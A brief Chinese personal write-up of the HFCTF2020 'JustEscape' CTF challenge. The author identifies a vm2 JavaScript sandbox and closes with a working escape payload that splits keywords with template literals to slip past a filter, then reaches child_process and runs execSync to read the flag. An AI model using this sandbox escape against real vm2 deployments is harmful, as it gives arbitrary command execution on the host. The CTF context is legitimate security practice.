[HFCTF2020]JustEscape 记录

最近开学一堆屁事，电脑 又发疯。。。
佛了

本篇为本人记录，并不是详情题解

抓个包瞅瞅
计算的时候注意将计算符号进行url编码

再传入new Date()会显示当前时间

直接访问php

我想搞个system，结果没用

回想到题目，猜测js，我就直接搜wp了，js我tm不会
输入Error().stack测试是不是js

是VM2沙盒逃逸
具体分析在此
vm2逃逸poc
有过滤
利用拼接方式直接打

(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
    }
})()